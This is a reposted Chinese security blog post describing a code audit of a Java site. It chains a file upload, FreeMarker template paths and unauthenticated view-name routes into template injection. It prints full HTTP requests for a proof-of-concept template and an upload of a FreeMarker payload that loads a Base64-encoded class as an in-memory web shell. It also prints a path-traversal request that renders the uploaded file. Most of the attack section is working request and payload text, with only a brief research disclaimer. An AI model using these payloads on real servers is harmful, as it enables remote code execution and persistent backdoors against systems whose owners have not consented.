重生之我在异世界做代审

admin 2026-04-13 04:24:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了一个FreeMarker模板注入漏洞的完整利用链。通过GitHub信息收集发现目标系统,分析application.yml配置文件中的FreeMarker路径机制,利用文件上传功能上传恶意HTML文件,结合ModelAndView视图渲染触发模板注入。文章提供了漏洞验证POC和内存马注入方法,展示了从信息收集到漏洞利用的全过程。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全,代码审计,实战经验


cover_image

重生之我在异世界做代审

原创

冬夏 冬夏

韭要学JAVA安全

2026年4月11日 01:33 北京

在小说阅读器读本章

去阅读

前言:该文章为去年的库存,一直懒得没有发,现在源码给到ai都能审出来,时代发展太快,我们都是旧时代的产物了。


一、信息收集

1.1 github 搜索文件

直接搜索网站的css或者js文件,发现有完全一模一样的

1.2 github 搜索域名

在加上主域名

二、模板注入(组合拳)

2.1 查看配置文件

这里查看application.yml

freemarker:
  template-loader-path: classpath:/webapp/
  suffix: .html
  request-context-attribute: request
  allow-request-override: true
  cache: false
  check-template-location: true
  charset: UTF-8
  content-type: text/html
  expose-request-attributes: true
  expose-session-attributes: true
  expose-spring-macro-helpers: true
  allow-session-override: true
  settings:
      tag_syntax: auto_detect
      template_update_delay: 1
      default_encoding: UTF-8
      output_encoding: UTF-8
      locale: zh_CN
      date_format: yyyy-MM-dd
      time_format: HH:mm:ss
      datetime_format: yyyy-MM-dd HH:mm:ss
      auto_import:
      number_format: 0.##
      classic_compatible: true
      template_exception_handler: com.tjsj.fwk.mvc.interceptors.FreemarkerExceptionHandler

解释一下FreeMarker 查找路径

freemarker:
  template-loader-path: classpath:/webapp/
  suffix: .html

基础路径: classpath:/webapp/
+ 视图名: "templates/domain/zh_CN/pc//xx"
+ 后缀: ".html"
= classpath:/webapp/templates/domain/zh_CN/pc//xx.html

示例:
视图名 "index"     → classpath:/webapp/index.html
视图名 "user/list" → classpath:/webapp/user/list.html

所以这里如果把suffix: .html改成ftl后缀,而我们上传的文件是html后缀,他也不会执行模板内容,因为他最终的路径是.ftl后缀

基础路径: classpath:/webapp/
+ 视图名: "templates/domain/zh_CN/pc//xx"
+ 后缀: ".ftl"
= classpath:/webapp/templates/domain/zh_CN/pc//xx.ftl

并且FreeMarker只在特定情况下激活

FreeMarker 执行的条件:
- 通过 ModelAndView 或视图名返回
- 经过配置的 FreeMarkerViewResolver
- 在 template-loader-path 指定的目录中

解释下ModelAndView作用,他是制定渲染视图名的

2.2 文件上传

2.2.1 uploadImgByAccessoryWithWeb

这里规定用post请求

url的逻辑

#定义uploadFilePath路径
String uploadFilePath = "accessory";

#定义url路径:/accessory/xxxxx-xxx/
#这里的File.separator是/
DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
String uri = uploadFilePath + File.separator +sdf.format(new Date())+ File.separator;

#之后判断有没有type参数,如果没有就url为:/accessory/xxxxx-xxx/publish/
if(StringUtils.isNotBlank(request.getParameter("type"))&&request.getParameter("type").equals("client")){
    uri += "client" +  File.separator;
}else{
    uri += "publish" +  File.separator;
}

#这里就判断域名是否为空,然后url:/accessory/xxxxx-xxx/publish/域名/
uri += request.getServerName()==null?"default":request.getServerName() + File.separator;

然后看下面代码

getRealRootPath函数:返回/webapp/    这个路径

转入到saveFileToServer

之后就正常的上传文件,路径为/webapp/accessory/xxxxx-xxx/publish/域名/xxxx-xxxx.jsp

2.3 模板渲染

之前说了ModelAndView这个函数是渲染模板的,那我上传一个html后缀的freemarker语法的内容,应该要用这个函数去渲染。 全局搜索ModelAndView,发现有两个函数createViewcreateBgView,其中viewName是可控的状态

之后全局搜索两个函数createViewcreateBgView

其中发现一下路径无权限,且路径可控

details
columnDetails
detailss
column_article_list_by_id
queryByCondition
obtain_like_article_by_title
obtain_article_by_column
obtain_recruit_article
obtain_column_children_by_id
user/logout
videolist
obtain_comment_list
obtain_comment_list_like
obtain_order_list
obtain_order_list_like
obtain_question_by_id
obtain_question_by_keyword
obtain_question_list
obtain_answer_by_keyword
obtain_recritment_list
obtain_recruit_list_like
info/query_info
obtain_small_content_list_like
obtain_small_content_by_id

文件上传验证模板注入漏洞

POST x HTTP/1.1
Host: x
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: HttpOnly; x
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0vhwQhJtQDJWce7D
Content-Length: 180

------WebKitFormBoundary0vhwQhJtQDJWce7D
Content-Disposition: form-data; name="files"; filename="1.html"
Content-Type: image/jpeg

<!DOCTYPE html>
<html>
<head>
<title>漏洞验证</title>
</head>
<body>
<h1>🔓 FreeMarker 模板注入验证</h1>
<div>
<h3>系统信息:</h3>
<p><strong>FreeMarker 版本:</strong>&nbsp;${.version}</p>
<p><strong>当前环境:</strong>&nbsp;${.now?string("yyyy-MM-dd HH:mm:ss")}</p>
<p><strong>时间戳:</strong>&nbsp;${.now?long}</p>
<p><strong>输出编码:</strong>&nbsp;${.output_encoding!"UTF-8"}</p>
</div>
<div style="background:&nbsp;#d4edda; padding: 15px; margin: 20px 0; border-radius: 5px;">
<h2 style="color:&nbsp;#155724;">✅ 漏洞验证成功</h2>
<p>FreeMarker 模板注入漏洞存在!</p>
<p>当前时间: <strong>${.now?string("HH:mm:ss")}</strong></p>
</div>
<footer>
<p>测试时间:&nbsp;${.now?string("yyyy年MM月dd日 HH时mm分ss秒")}</p>
</footer>
</body>
</html>
------WebKitFormBoundary0vhwQhJtQDJWce7D

之后在上传一个模板注入的内存马

POST /upload/uploadImgByWebAccessory.htm HTTP/1.1
Host: x
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: HttpOnly; x
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0vhwQhJtQDJWce7D
Content-Length: 180

------WebKitFormBoundary0vhwQhJtQDJWce7D
Content-Disposition: form-data; name="files"; filename="1.html"
Content-Type: image/jpeg

<!DOCTYPE html>
<html>
<head>
<title>示例页面</title>
</head>
<body>
<h1>${message}${"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('注入器类名').newInstance();}catch (e){var clsString = classLoader.loadClass('java.lang.String');var bytecodeBase64 =&nbsp;'Base加密的代码';var bytecode;try{var clsBase64 = classLoader.loadClass('java.util.Base64');var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder');var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder');bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');var clsByteArray = (new java.lang.String('a').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}")}</h1>
<p>当前用户数:${userCount}</p>
<!-- 如果message变量不存在,使用默认值 -->
<p>备用消息:${message!"默认消息"}</p>
</body>
</html>
------WebKitFormBoundary0vhwQhJtQDJWce7D

之后在访问路径渲染模板

POST /{{file:line(/Users/qq/yakit-projects/temp/tmp2970083007.txt)}} HTTP/1.1
Host:x
Cookie:x; Path=/
Sec-Ch-Ua-Platform:&nbsp;"macOS"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua:&nbsp;"Not.A/Brand";v="99",&nbsp;"Chromium";v="136"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Priority: u=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

url=../../../accessory/x/publish/x/94746e9e-a264-46b9-b72e-a50216e7f635

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:韭要学JAVA安全 冬夏 冬夏《重生之我在异世界做代审》

记一次渗透反诈app 网络安全文章

记一次渗透反诈app

文章总结: 本文记录了对一款杀猪盘理财APP的渗透过程。作者发现验证码由前端生成,使用假手机号即可注册,并利用越权漏洞获取到其他用户的手机号与交易密码等敏感信息
评论:0   参与:  0